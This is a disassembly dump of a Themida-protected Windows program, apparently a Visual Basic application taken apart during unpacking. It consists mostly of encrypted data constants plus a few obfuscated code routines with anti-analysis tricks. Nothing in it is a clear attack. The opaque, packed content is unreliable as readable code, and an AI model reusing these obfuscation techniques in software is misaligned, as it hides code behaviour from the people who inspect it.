697CF8D1h, 0F06FF596h, 0B13510A2h, 7C67D56Dh, 94D0AEFEh dd 0AD91DD5Dh, 9BEF6FE2h, 0D6E5234Ah, 69F3577Ah, 368202D1h dd 5D7EEEA4h, 4BE8BB6Eh, 0D676F3FAh, 19A3077Ah, 6A35FF3Bh dd 0A27DFF91h, 0E3609A22h, 0F5BB855Ch, 88D48D6Bh, 0D07CFE98h dd 2CA03030h, 50DAAAAEh, 0ED7C73B8h, 6D467CFEh, 778FEB45h dd 7104FBCEh, 0A5000000h, 0A63811DCh, 0E598D324h, 12927AD6h dd 23C02EC6h, 0A6F7E1BFh, 7CFEF7F2h, 2F3E8F11h, 4B7CFEF7h dd 0B01409E7h, 0F79CD318h, 0CDA67CFEh, 71EF4BA5h, 3964FBCEh dd 5000000h, 0A63811DCh, 0FEC78755h, 0DB6DD17Ch, 59377D00h dd 0C7CD2469h, 1EF77CFEh, 98E96BF6h, 7CFEC755h, 0A86341A5h dd 0FBCE5E4Ch, 0F7F647C9h, 37CFEF0h, 7CFC19Fh, 70000000h dd 823E3h, 11DC3E00h, 4DCBA638h, 0E4351FFDh, 7CF8D47Ah dd 2D089AFEh, 467D61ADh, 80E27AC6h, 6883D4B5h, 907CF8D7h dd 5A10A22Ch, 92B9E181h, 40ABFC33h, 0B87CF8B5h, 2ECCA54h dd 0D68538B1h, 46D83C7Ah, 0BB9FEB6Bh, 20B80484h, 881AF3BEh dd 0A27BA537h, 0EB3CBE70h, 68524480h, 0C1B694F8h, 0A6307CFCh dd 0A8C74502h, 4FAA7A0Eh, 0AD1h, 5D419310h, 795DA326h dd 9074C442h, 0AB8FD759h, 0C3A7F574h, 63E29F0Eh, 76FA3115h dd 96174E32h, 0B131684Ch, 3B898165h, 0F8D383EAh, 8324F77Ch dd 0D6E4F6F9h, 245E297Ah, 0EA0152A2h, 0E7AD6E4h, 49620AAh dd 0F8D45BB3h, 9579DD7Ch, 89E435B7h, 0F17CF8D7h, 0ED9AF8Dh dd 0F052A335h, 747AD6E7h, 23A37E10h, 0D6132C9Bh, 8A956685h dd 682E9276h, 7127BAB7h, 6A75EB18h, 0AB8F19A3h, 2870F2CDh dd 3B87074Ah, 9D7641A3h, 36D3890Bh, 559C28FCh, 0FC752E0Ch dd 0F870A422h, 0A5270294h, 6C57C55Dh, 0D9C3A1EBh, 0A0327EFEh dd 0C29ECD1Eh, 76DA685Dh, 0A5255C98h, 777CC159h, 0AAE85DC2h dd 237406DFh, 0EE75D5FDh, 56FB9F03h, 7D94D764h, 9FF52ADh dd 0C13E0000h, 0D1548B6Fh, 0F270A78Bh, 587BEA2h, 23A2D9BDh dd 713CF1D5h, 5B3F8D0Ch, 785CA024h, 9276C041h, 0AB8FDB5Bh dd 0D91465B3h, 217CF8D2h, 0EDC8AD4Eh, 0BA89216Dh, 8967F137h dd 7D0FE8B3h, 0F8D5222Ch, 5DDF617Ch, 0F8D4E10Ch, 54B5197Ch dd 7CF8D419h, 2A1FFD61h, 0D47E6DBEh, 167A7CF8h, 9F1FFA8Ch dd 0B6916F53h, 0CA0DEB35h, 466FE4Ah, 357DFF39h, 0D41B52A3h dd 0FB5F7CF8h, 8104DF71h, 22735D3Bh, 7AD6E43Ch, 6F4ADC40h dd 75C342EFh, 50D007EBh, 55A121FCh, 0FFEE4FBDh, 0FB768A87h dd 0FF750D97h, 360C0449h, 0CD7020FCh, 0CB9F657Eh, 895F3D50h dd 7853E5BEh, 6913ABF9h, 0D574165h, 13F17B51h, 2727D829h dd 633E70A4h, 0B40597E3h, 685DC6B9h, 8A7F5DC1h, 39B99426h dd 52D209EDh, 76F86E06h, 5DC6C625h, 0F0CE3268h, 5DC63037h dd 0C39C6768h, 0F622E031h, 0E2466E73h, 0A9F57550h, 0C20E8EC5h dd 24FDC82Ah, 81C14192h, 0FF636441h, 613A0567h, 7ACB4DCFh dd 64316073h, 0FA3EC287h, 0FFD99270h, 8162197Fh, 0CBE2791Dh dd 35052133h, 8CCDAh, 3C8E0B00h, 589E2158h, 6FBF3D74h dd 8AD2548Bh, 0A2F06FA6h, 0DFA409BEh, 0F72E1260h, 144B2F73h dd 2E654993h, 867E62AEh, 0DD84E738h, 21F47CF8h, 0A3EF6F80h dd 70BC3C0Bh, 0EE959D8h, 3CAA428Eh, 85638B5Eh, 26D5B905h dd 1F67FCAh, 0E3Fh, 0EDC8E000h, 1D8B236Bh, 4B4703Fh, 0FDCB0000h dd 15EEB9ACh, 0E81A3283h, 0B21E7CFEh, 0FEE80A61h, 800A6E7Ch dd 489213EEh, 626442B0h, 0F5397841h, 0A82C07AFh, 805ECC64h dd 22A5DFAAh, 6FC052DCh, 0A5CD2F75h, 1770F73h, 0AE6BB04Bh dd 6D4BBD53h, 61F3CC97h, 0A65C8110h, 152D4A3h, 9F51A0EAh dd 0D7CCAA0Eh, 0DF2BE173h, 0BDA28DEEh, 172A965Ch, 6653B2A2h dd 43C39E88h, 68A65F7h, 0DF0269BAh, 12769F51h, 0A482F088h dd 65B13168h, 0AB60A4C1h, 2C8757E1h, 7E5h, 7155A724h, 8D71B73Ah dd 0A488D856h, 0BFA3EB6Dh, 0D7BB0988h, 77F68B22h, 8A0E4529h dd 0AA2B6246h, 0C5457C60h, 4F9D9579h, 0F8DCEFFEh, 97380B7Ch dd 867EF6Fh, 6D2FBED0h, 0C73DD55Fh, 462468ECh, 55D58403h dd 0D19B7F09h, 4A9B2D06h, 7CF8629Ah, 0CDA83A9Eh, 0E61D014Dh dd 6881A66h, 0F80DB6B5h, 985EC27Ch, 70F06DFh, 2313F101h dd 8B1DF6C1h, 0D68FC43Ah, 62F4587Ah, 0D7BB0787h, 3CD420A0h dd 0F8F344C6h, 768A6Eh, 0DA72B83Bh, 74F7E26Ch, 8E0D502Eh dd 0B1D39C40h, 6C3C0880h, 74411h, 0B4068300h, 0D01699D0h dd 0E737B5ECh, 24ACC03h, 1A68E71Eh, 572C8136h, 6FA68AD8h dd 8CC3A7EBh, 0A6DDC10Bh, 0FEF6DA26h, 0DC0C5FB0h dd 996C7CF8h, 3811DCF8h, 0D5E155A6h, 0F737CF8h, 7522A27Dh dd 84C84CF1h, 5CF47EECh, 0A28064EEh, 21FF43C7h, 7A125EDEh dd 5BAB2904h, 3DCA77Dh, 4F9EEF71h, 0AB7CF8D4h, 2E7F6947h dd 7AD0E7EAh, 13660A6Eh, 10087A8Ch, 6CBE540h, 8D0A0000h dd 9D20573Bh, 0BE3C7357h, 0D1538A6Eh, 0EF6EA589h, 0A508BDA1h dd 270B59D8h, 44286CF0h, 5E428C0Dh, 775BA727h, 8DE0317Fh dd 0ED7CF8DFh, 0EF6F791Ah, 0BC3C0BA3h, 59D870h, 2470F0D8h dd 0A5E4DC92h, 50165858h, 2B873672h, 0A801F5CFh, 6CC64CCDh dd 3CDE0CEh, 35A33BC5h, 156557h, 0C8060000h, 35E68512h dd 0A28D4A1Bh, 0D03ED622h, 29C23F2h, 6F7E0000h, 3611A3EFh dd 9C8C6AB6h, 0B4356F3Ah, 0DA64D26Ah, 0D403F748h, 0B1157CF8h dd 8E1696CDh, 5D686674h, 0A33BC529h, 230755D4h, 9CEC6A45h dd 2FD09604h, 0FE1D1F74h, 8C572D0Bh, 78135AABh, 3677CF8h dd 8196E779h, 0D57AD648h, 8404DF71h, 0C0765438h, 0D46561F1h dd 2164429Ch, 0EEBD55A1h, 2789216Fh, 6FF1835Ch, 0EDCB1194h dd 0A2FE1C34h, 0E05F2470h, 8632398Ah, 0E2466852h, 592ACE58h dd 0DE0EA88Ah, 5CFB30Eh, 910E0000h, 0A1245B3Fh, 0C240775Bh dd 0D5578E72h, 0F372A98Dh, 0A10CC1A5h, 2B0F5DDCh, 482C70F4h dd 62469011h, 7B5FAB2Bh, 89E43583h, 0F17CF8DEh, 0EF6F7D1Eh dd 0D93DF67h, 66F00E3Eh, 337FFFCEh, 9BC31C9Bh, 98E93DBDh dd 7AD60855h, 0F38BD757h, 0FA84E885h, 970B6716h, 0AD8801F5h dd 1812A52Dh, 18936040h, 7BEB08Eh, 5F000000h, 13AE3h, 0EF6F3E00h dd 268EFFA3h, 0EDBDFC24h, 55092h, 0C0128F00h, 0DC22A5DCh dd 0F343C1F8h, 0E56D80Fh, 2674F32Ah, 63208D42h, 7BB296E4h dd 98CFB3F7h, 0B2E9CD17h, 0A02E632h, 0DE006BBCh, 0A5787CF8h dd 0A3EF6F04h, 70BC3C0Bh, 0D80059D8h, 0CB1C70F0h, 7AD6E5A0h dd 6EA74D8h, 0F683FB57h, 1A7001h, 0C8110000h, 92246AEDh dd 0D6E52A41h, 0CEA4E7Ah, 0C63Dh, 0C0E39800h, 3E000000h dd 0A63811DCh, 0F8D4E155h, 2EAE737Ch, 0EBC658E2h, 53432169h dd 0BB4D26F1h, 93DD5E39h, 0AAFB8DFBh, 7CF8D743h, 0BC7553B7h dd 7AD0CE34h, 0B0FC7C57h, 7BCB4918h, 0DEB75E3h, 8710B418h dd 0D8087A72h, 49FAD08h, 61DE0000h, 71F42B0Fh, 9210472Bh dd 0A5275E42h, 0C342795Dh, 0D1DC9175h, 0FBDF2DACh, 18FC40C4h dd 321660E1h, 4B2F7BFBh, 0B9B40553h, 0C17CF8D9h, 11DC4DEEh dd 52F0A638h, 9CE2655Fh, 0AEB1FAD6h, 3C95E6D0h, 387CFEF6h dd 0E66742D4h, 0F9D4BE9Ch, 9A472B7Bh, 7CFE4E56h, 0AC2FDC5Ch dd 0D660CE66h, 0B73914F2h, 8B69D76Fh, 0E27ACA48h, 43087h dd 6919CF00h, 58CB6320h, 0DC885F3Dh, 0CBA63811h, 0FA68004Ah dd 7DE1321Ch, 0FF7CF8D4h, 0D6A1039Bh, 489712C1h, 0C34D7A25h dd 2B08E031h, 0A07B7AD0h, 6B3AD222h, 35139DEDh, 6938DC40h dd 0A087B18h, 3EBDF3Ah, 0AD2A0000h, 0BD40775Bh, 0DE5C9377h dd 0F173AA8Eh, 0F8EC5A9h, 8528DDC1h, 472B79F8h, 64488C10h dd 7E62AC2Dh, 977BC747h, 0ED00519Fh, 0D7CF8D8h, 11DC993Ah dd 0E555A638h, 6F7CF8D4h, 1E9E790Bh, 6DBE40D2h, 7CF8D77Eh dd 0EC32B57Ah, 7E5CE654h, 9896442h, 0D9B725BDh, 32CA1696h dd 9A2C05D0h, 71BD3D18h, 3D8B0AD9h, 0CFAD37A5h, 0D6E75516h dd 0AB3DA17Ah, 22A64DD0h, 4ED846DEh, 806A48B6h, 0F5D925A5h dd 5AF23EBEh, 0C2542DF8h, 0A299EB71h, 0A528ED70h, 0CF59C75Fh dd 0A8A9802Bh, 0DC37070Eh, 349h, 0D5B90B88h, 0F1D51B9Eh dd 8EC3CBAh, 23074FD1h, 3B1F6DECh, 0DB5A2786h, 0EE72A98Dh dd 0E8FC6AAh, 29A9E0C4h, 0B301F9DDh, 0F8D80B62h, 0FB9C6F7Ch dd 0BA3EF6Fh, 1768BC3Ch, 7AD6E5D4h, 5236C024h, 0CB1B9974h dd 734C17EDh, 0E41090E1h, 0F4587CFEh, 0B130E65Ch, 0E20BA5A4h dd 83E69F7Dh, 0A97CFEFDh, 7948E026h, 4A19B1F5h, 5E1380C8h dd 0FFD8B336h, 6C1D79D7h, 6E92FBCEh, 20000000h, 0B9E2016Ah dd 86184A6Eh, 0FE123635h, 0DE427Ch, 0EB12C829h, 3A18DF21h dd 0C277D64Eh, 589864FCh, 0FBA6E7B6h, 8719A3EBh, 0D6A53736h dd 1DF437Ah, 0F587602Bh, 0B74F991Ah, 30816B49h, 7CFEB1FCh dd 3B80187Ch, 7CFEB034h, 0C4431E0Eh, 9DC59876h, 0CE2AE743h dd 68964FBh, 993DF5Fh, 43AAFB71h, 0B77CFEACh, 0F9EBC953h dd 0D7h, 6FEDC89Ah, 5319871Fh, 0AA6ADCF4h, 3D805E33h, 488C10BDh dd 0D85726BEh, 3D3A3182h, 0F8497AD6h, 7AD63DF5h, 0A004A105h dd 2FAF7E16h, 0DDEF6FA7h, 6C573F21h, 98069EEEh, 0E2C67C0Eh dd 0F29D5AA0h, 569A1E09h, 39B98878h, 0C75C09EDh, 4D7AD671h dd 0BF9D81CDh, 7F1765E4h, 58A82611h, 0AB7377Ah, 1CB43E8Ah dd 0FE4CCBA6h, 8C0DF866h, 0C38E6442h, 0B50758EAh, 0C37CFE5Eh dd 0E6B17B5Fh, 22A7B0Dh, 767AD483h, 26A58012h, 3EBDF4D8h dd 2DC50D8Fh, 249135BFh, 77087790h, 1C34CA7h, 85020000h dd 95184F33h, 0B6346B4Fh, 0C94B8266h, 0E7669D81h, 0AD00B599h dd 1F0351D0h, 3C2064E8h, 563A8405h, 6F539F1Fh, 95D82977h dd 0E57CF8DAh, 0F06F7112h, 787BEA2h, 0DC0CD7BBh, 0D429FC11h dd 0AF13F9A5h, 0EA429325h, 8E7CFE99h, 30E2982Ah, 2B02C2Dh dd 789B22E8h, 33BB454Fh, 0C9206555h, 0E37CFE3Dh, 0B338D965h dd 78A30032h, 98756EEh, 1BD021B9h, 0C29B76F3h, 0BFEA469Ah dd 0D35FFBCDh, 0ED000000h, 0AC449412h, 6F89603Eh, 3C0BA3EFh dd 92D76FBDh, 7AD6E18Dh, 17B0383h, 0D98EBB15h, 578E72FCh dd 0B00183D7h, 7AD645BDh, 0F5F859BDh, 57AD644h, 1D7F17A1h dd 96E77952h, 7CFE6A06h, 0BD61B252h, 23E933B4h, 662C597Eh dd 16B00F3Ch, 66F8828Dh, 0DE5D0C8Bh, 0EC280690h, 0EC7E5722h dd 0D490329Bh, 50E2467Ah, 9C6E7DCEh, 268A7685h, 4835E48h dd 19F4D2B6h, 493C0F9Bh, 4F7149Ah, 9674E27Ah, 0E286D453h dd 877D4DDh, 0B2A702D2h, 0F1000000h, 73E2274h, 235A3E84h dd 3A7155A5h, 558C70B8h, 0EFA488D6h, 0F442C1BEh, 1155D910h dd 2B75F62Dh, 44901047h, 0C91A6860h, 7CF8A5A2h, 6F6203D6h dd 73C341F0h, 0F97C57E9h, 0CFAD1BB3h, 90DC5C93h, 0EF6FE1ACh dd 0BC3C0BA3h, 0AF478B0Fh, 9D3B741h, 51D3653Eh, 0E56F7ECFh dd 278B7AD6h, 0D5DB9049h, 0BB1F7CF8h, 84CC4E29h, 67E7B6A6h dd 2FAE891Bh, 0F67A49E1h, 0E4A28B2h, 730B57D7h, 9E0A892Eh dd 0E008BD75h, 9A2C78F8h, 59F141BFh, 9AD10DEBh, 6736CE1Ah dd 82059DE5h, 0AF2F0931h, 0C8487F63h, 900FEA7Ch, 5E3CAA42h dd 3136Eh, 6C6E0000h, 0A0F26FB5h, 6DB93908h, 3B8506D5h dd 0C50D4A3h, 0D826A574h, 0A4F27140h, 73BB3D0Ch, 3E8E0CDBh dd 0E54D7A6h, 5457ED76h, 4C7815Fh, 83000000h, 3C8704EFh dd 89525C24h, 4C281E2h, 81000000h, 4EAh, 24148700h, 241C895Ch dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 55243489h, 2E32B4BDh dd 8BEB8906h, 0C483242Ch, 4EC8304h, 81242489h, 42404h dd 525E0000h, 8152DA89h, 4B6D242Ch, 468F3722h, 8468108h dd 37224B6Dh, 2434FF5Ah, 4C4815Eh, 8B000000h, 8950241Ch dd 405E0h, 4050000h, 87000000h, 0E95C2404h, 0FFFB02FEh dd 7AF51282h, 180226B6h, 2E4155B8h, 0FFC50306h, 2F7ECCE0h dd 0C8617C49h, 19AB8623h, 0D4595246h, 0C1B6591Dh, 4ED27623h dd 0DF875C7Bh, 0D7905D70h, 475A6A4Eh dd 20734470h, 437BFE01h, 5487F43Dh, 0D51B8E25h, 0A31C3F4Bh dd 694ED81Fh, 0CF7DBC46h, 0F517FA23h, 72A1460Ch, 9BE2A935h dd 0E55C11Ah, 0F227FB01h, 0F6206A1Ah, 0B05325Ah, 846EE127h dd 59FA32Bh, 0E296D411h, 8D1C2926h, 0DC92860Fh, 14E832h dd 333F0000h, 0E03DF16Eh, 0FDB0BD8Fh, 6DD08154h, 30F84E3Ch dd 816612BCh, 5B63F8CAh, 1D8A0Fh, 11E80000h, 73000000h dd 3C6BEB92h, 7328C0ACh, 7FA2FDDEh, 0E231A7A5h, 890Fh dd 815A0000h, 6A56C3h, 0BF6BB200h, 0 ; --------------------------------------------------------------------------- loc_5AD5F8: ; CODE XREF: Themida_:005AD637j mov ecx, [ebx+edi] mov si, bx add ecx, 1F1190E0h pusha stc popa sub ecx, 4B2F76AFh mov dx, 85F7h sub ecx, 43DE6781h movzx eax, dx mov [ebx+edi], ecx jmp loc_5AD627 ; --------------------------------------------------------------------------- dw 9CC1h ; --------------------------------------------------------------------------- cmp [esp+ebp*8], eax loc_5AD627: ; CODE XREF: Themida_:005AD61Dj add ax, 83h sub edi, 4 mov edx, ebx cmp edi, 0FFFF9650h jnz loc_5AD5F8 pusha sbb si, 8A54h jmp loc_5AD657 ; --------------------------------------------------------------------------- dd 9CE0B491h, 139F4C2Eh, 0AB336A42h ; --------------------------------------------------------------------------- lodsd mov ss, si loc_5AD657: ; CODE XREF: Themida_:005AD643j popa lea ecx, [ebp+62E43CAh] jmp loc_5AD66B ; --------------------------------------------------------------------------- db 5Eh dd 0C3A7876Fh db 4Eh, 35h, 14h ; --------------------------------------------------------------------------- loc_5AD66B: ; CODE XREF: Themida_:005AD65Ej mov [ebp+6280715h], ecx push 0 push ebx call sub_5AD67C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AD67C proc near ; CODE XREF: Themida_:005AD674p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5AD67C endp ; --------------------------------------------------------------------------- dd 0F610537h, 683h, 399D2B00h, 0C7062824h, 2821BD85h, 582006h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0C77996EBh, 0DF9BF7A6h, 85C7C68Ah, 628113Dh dd 0 ; --------------------------------------------------------------------------- mov [ebp+6281A45h], ecx push dword ptr [ebp+62826BDh] push 0 push ebp call sub_5AD6EB and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AD6EB proc near ; CODE XREF: Themida_:005AD6E3p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5AD6EB endp ; --------------------------------------------------------------------------- db 19h ; --------------------------------------------------------------------------- adc edi, ebp inc ecx xor bh, bh xchg eax, ebp fst dword ptr [eax+ebp] push es mov bl, ah push 0 call dword ptr [ebp+6280465h] mov eax, eax jmp short loc_5AD73D ; --------------------------------------------------------------------------- dd 0A0910E2Ch, 0E7BC936Bh, 45750647h, 3011B0Fh, 3E0E63FAh dd 7DB200D0h, 189CEA1Ch, 9B5FF3A9h, 0C7FBBCE7h, 2209D788h db 0C4h ; --------------------------------------------------------------------------- loc_5AD73D: ; CODE XREF: Themida_:005AD712j lea ecx, [ebp+62E44A9h] mov edx, [ebp+62820D9h] mov eax, 18DC3CBFh mov [ebp+6280715h], ecx push 0 push eax call sub_5AD75F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AD75F proc near ; CODE XREF: Themida_:005AD757p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5AD75F endp ; --------------------------------------------------------------------------- db 0F5h dd 0E83E57D5h, 0Bh, 0F4AD0928h, 7F463877h, 891F6E79h, 280C61BDh dd 9D0B5A06h, 62816B1h, 21BD85C7h, 6CD80628h, 0BD8B0000h dd 6283485h, 113D85C7h, 628h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 5A8874C3h dd 0F22B6887h, 0FF96BF0Eh, 2805E1B5h, 999D8906h, 0FF062826h dd 2814D995h, 819D8906h, 6A062816h, 6595FF00h, 8B062804h dd 90CEBC0h, 0EAA7F8EBh, 0DCA87175h, 0E9255D79h, 173h dd 18BC049h, 77E705C5h, 6D5C3A43h, 706E755Fh, 656B6361h dd 61700072h, 64656B63h, 6578652Eh, 3Bh dup(0) a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 dd 5 dup(0) dd 0E9000000h, 1BFAh, 2E482068h, 399BE906h, 2668FFFAh dd 0E9062E49h, 0FFFA3991h, 2E4A7568h, 3987E906h, 5568FFFAh dd 0E9062E4Bh, 0FFFA397Dh, 2E4B9468h, 3973E906h, 5368FFFAh dd 0E9062E4Ch, 0FFFA3969h, 2E4CBA68h, 395FE906h, 0F68FFFAh dd 0E9062E4Dh, 0FFFA3955h, 2E54C668h, 394BE906h, 5968FFFAh dd 0E9062E55h, 0FFFA3941h, 2E561D68h, 3937E906h, 968FFFAh dd 0E9062E57h, 0FFFA392Dh, 2E576C68h, 3923E906h, 0F68FFFAh dd 0E9062E58h, 0FFFA3919h, 2E58A668h, 390FE906h, 3368FFFAh dd 0E9062E59h, 0FFFA3905h, 2E5F3568h, 38FBE906h, 5168FFFAh dd 0E9062E60h, 0FFFA38F1h, 2E60F368h, 38E7E906h, 1AEBFFFAh dd 0D5A3A724h, 8A565AD7h, 35070B88h, 0F1BEC23Fh, 277376F3h dd 8E0B09D6h, 44C1BB8Ah, 0F6737540h, 0AB2822F2h, 498FF585h dd 0EB795DD5h, 10E0A318h, 0B2C5EC10h, 83C32751h, 7359CB11h dd 45AB6D7Fh, 23CDB5D9h, 0D450FADBh, 0F3C37740h, 0B98C7CF9h dd 0DFCA309Ch, 2D755BB3h, 0B1B167CDh, 1C3795Bh, 6F0301CFh dd 382C5113h, 795BB1E4h, 63E099DFh, 0C1594D16h, 0BAB587Ch dd 0D4E6FA43h, 44D8D2A2h, 2E58h, 21F48500h, 0AB329804h dd 0CD755BBEh, 0D4F8E60Bh, 4E4A2C9Ch, 0A4BA4EDBh, 795B3A70h dd 0FDCFF54Bh, 0BA737307h, 59D83C3Dh, 0C17AC1h, 0E0A70000h dd 3DF11610h, 994D7270h, 0F6AACFC9h, 6BAF2C26h, 7F738F65h dd 0CF3B3505h, 97D3096Fh, 62ED7F73h, 3B0AF60Bh, 0DC7032EAh dd 0EDE7B7BBh, 305528C8h, 0AFCB5EC4h, 0A12D755Bh, 3DA9F617h dd 6BB11796h, 0D795B67h, 27FE54Bh, 0AA163F12h, 27BBB584h dd 9A93B717h, 0F6C8CA44h, 187A9024h, 7C737558h, 5B284EBAh dd 0FDCE05Dh, 0CFFBA311h, 16F1B400h, 19735Fh, 0F9EFC000h dd 0ACAA787Ch, 5D5F2B2Fh, 140ADCE0h, 0C8C69397h, 0AB1A484Bh dd 5F63E0DEh, 15199690h, 0C7CB484Ah, 5A80FDF7h, 0DBB464CAh dd 0EDC0795Dh, 0AE80A678h, 0FD221CECh, 0A28AAF15h, 0A16B380Eh dd 0C8B0D5D3h, 11E1E562h, 0F4319A17h, 38980421h, 73930AD2h dd 517AB67Fh, 2DE54B30h, 0F1FB375h, 5B1B32A9h, 0E7B64475h dd 7AE0C8EDh, 29BF6155h, 7A47795Bh, 0C3E8DEB0h, 9C5075DBh dd 0D1ABD0CEh, 75E6A059h, 56B6762Fh, 5B2928F0h, 0F68A4C79h dd 59E95029h, 0A666C1h, 98BE0000h, 3BCFC9h, 0F11610E0h dd 4D72703Dh, 738F4B59h, 2923F37Fh, 0DED8A8ACh, 6CAC1272h dd 87F7397h, 89AEAC7Ah, 0DEA73BA1h, 0DE4A6B3Eh, 5B94D578h dd 8854775h, 0B4204518h, 7536474Eh, 0B887AD73h, 40CE2ABEh dd 0E3DDAC6Eh, 4BAB177Dh, 3A5785EBh, 9B677321h, 8B1FE199h dd 6DEAE8B5h, 309E9C69h, 0B4017D68h, 6DE29974h, 0BA000018h dd 7276F3E9h, 2529A6A4h, 0D6DA5759h, 8D910E04h, 4245C2C0h dd 0DAD8A514h, 908A595Dh, 42440F13h, 0F7F1C1C5h, 5EC4547Ah dd 795DDABEh, 0E072E7BAh, 94981513h, 0E44DCAC4h, 0B7B180A6h dd 0B77D4D23h, 585221E7h, 4A19CDF2h, 5F84EA50h, 75E1DBABh dd 4520AB51h, 9F42AD96h, 0A0CDFD40h, 6B693616h, 60507105h dd 0CBDE9E8Dh, 0B4A03CECh, 50B6B482h, 946B7EE4h, 4B0D755Bh dd 42123826h, 7A9EB448h, 45795B6Ch, 0B0C946FFh, 6C15A2Ah dd 10Ch, 4098FE5Eh, 40795A94h, 5A9402DAh, 0BC743679h, 0E52B66FAh dd 0C89AC086h, 13383A06h, 6F31C52Bh, 0A50B779Ch, 755B8696h dd 6AB218E0h, 0E795B9Eh, 0A27AE04Ch, 0D6795B9Eh, 0FC22AE14h dd 4DE526EAh, 0C8345124h, 990AB362h, 88DD01AFh, 7150C01Fh dd 9058B448h, 9968F22Ah, 5EC4869Fh, 0C6DACEF2h, 0ABB20110h dd 0D4BCE1DBh, 2311DA6Eh, 0F342EFDh, 8755BB27h, 0B19F9958h dd 0C6995BEFh, 870D319Dh, 101221A1h, 8E845688h, 0DDED8169h dd 0B4011D77h, 51BD7F95h, 2FCCBF1h, 5389EFDDh, 0E5986647h dd 5329BD23h, 80C8983h, 0A7A57238h, 2CE82h, 8CC6349Ah dd 5F4600h, 171E6E25h, 9A6B0000h, 552327A4h, 0AD6DA57h dd 0B5878B08h, 713E42BFh, 0A7F3F673h, 0E8B8956h, 0C4413B0Ah dd 76F3F5C0h, 2BA8A272h, 0C90F7505h, 6B795DD9h, 10E02398h dd 7E51F116h, 6083E955h, 5E755B5Eh, 0A64098FEh, 32F4795Bh dd 0A0343200h, 9C058244h, 9AC086E5h, 373502CCh, 0D1D39FD1h dd 6E30C4ACh, 0A80E7A9Bh, 755B8691h, 953757E3h, 0C5F5F7C3h dd 2288530Ah, 23527696h, 202CFE9h, 0E8E2B2E4h, 0E08C3E54h dd 6F42F274h, 0AD74DA46h, 13F80ACCh, 0FC211FEDh, 62248014h dd 63DD2F6h, 1E3224F5h, 0AFD3C18Ah, 0F5A951F3h, 0A3097543h dd 0EC0ADA75h, 0E7A93DFFh, 56582314h, 0DA5484EAh, 1EE0EC0Ah dd 8AE64CB8h, 0EEE6272Dh, 0CA9AC02Ch, 163B3504h, 474BC82Eh dd 0B50F7D77h, 3F21F76Dh, 163EAD64h, 0BA8B0000h, 754347C4h dd 2AF6FA77h, 0D5A7AB28h, 915E62DFh, 47131693h, 2EABA976h dd 0E4615B2Ah, 961315E0h, 4BC8C292h, 0E92F9525h, 8B795DD8h dd 10E043B8h, 0D506A816h, 0F3CEB853h, 15FF3Ch, 857B4C00h dd 38360408h, 0E9EBB7BBh, 0A096686Ch, 54521F23h, 3786D4D7h dd 0EBEF6C6Ah, 0A1A5221Ch, 5357D4D6h, 0E60C8983h, 0D828F056h dd 794C795Dh, 0E046A604h, 7F739338h, 10E67A3Ch, 81214640h dd 0B31985AEh, 755BAE1Ch, 0E848B476h, 4FB4B7C4h, 97B397Bh dd 795BC8D3h, 0EE0FA365h, 36098BEFh, 7C3BA10Dh, 767373DDh dd 502248B4h, 7096C65Ah, 0F8CB31Eh, 0B4204518h, 0A29F874Eh dd 8C9EDDDh, 0CAF51889h, 0A163BF53h, 0EC09DC7Ch, 0B47E1A80h dd 9622DA7Fh, 18FB426Fh, 248AF6D8h, 0CA3E29F4h, 0EC58BE80h dd 1F42EFC8h, 1AAE60D8h, 1A14E40Ah, 0CFC9999Dh, 1EE4F361h dd 0EBA27D0Dh, 1540h, 49C6BC8Dh, 0FC797745h, 0AD2A2CF8h dd 64E1D7A9h, 18959360h, 0AB784915h, 5D2C30ADh, 17E2E663h dd 0C4949815h, 97274DCAh, 5DDFEB31h, 45BA8D79h, 38E046A6h dd 3C7F7393h, 8D0E67Ah, 727F7393h, 7F7383AEh, 602AF81Eh dd 72C9294h, 0A3758B1Fh, 1B7F7393h, 7F73B3F9h, 0C9373101h dd 0B853F551h, 0D94900DBh, 26000014h, 0DEE25F55h, 91951210h dd 4246C3C5h, 0F9FD7A70h, 0AEB12E2Ch, 464411E0h, 0FCF6C5C9h dd 0AEB07B7Fh, 635D2D31h, 0CA30C0E6h, 795DDF12h, 0A6DE5326h dd 8EB3B580h, 7D5012A6h, 4786EC58h, 3D755BB1h, 24494B17h dd 8A4CA83Ch, 7BF7981Ch, 924924BEh, 1484h, 8D0A00D1h, 40BDBB89h dd 0F16E703Ch, 0A8251BEDh, 5CD9D7A4h, 0EFBC0D59h, 0A17074F1h dd 5B262AA7h, 8D8DC59h, 0DB6B910Eh, 5DDEA775h, 89FED179h dd 0F11610E0h, 4E736D3Dh, 4101BAB6h, 925AE61Dh, 5B293A77h dd 0EA50385Dh, 7CF08956h, 3EC6BB31h, 0F3000000h, 73937CA0h dd 1F284C7Fh, 9E98AF31h, 0D4A47A0Eh, 7B35710h, 0B117A83Fh dd 8ABA2145h, 91F4248Ah, 0BE807F73h, 81DDA38Eh, 0CB88CCEDh dd 0EF7F0E8Bh, 8C8E591Fh, 0E49BC026h, 13F4h, 1610E0EBh dd 0BCB284AAh, 9543A997h, 9F7F7393h, 1AE377DDh, 127EA77Ah dd 0FC211FECh, 10708014h, 93924AB0h, 0E4A67F73h, 5FA73A50h dd 4DD9755Bh, 0D2A32E75h, 0F9E70296h, 0A1A09D9Bh, 6858D53Bh dd 9E047095h, 73736C57h, 6C6A375Dh, 6FCB5F47h, 8D488ADh dd 254B8906h, 4533585Ah, 236439DFh, 13793B73h, 64B6697Fh dd 804E7323h, 67C70582h, 647BA107h, 3BFD7323h, 236413C9h dd 0CF632573h, 92612BF9h, 590D3298h, 0A1688D8Bh, 0F6C44A03h 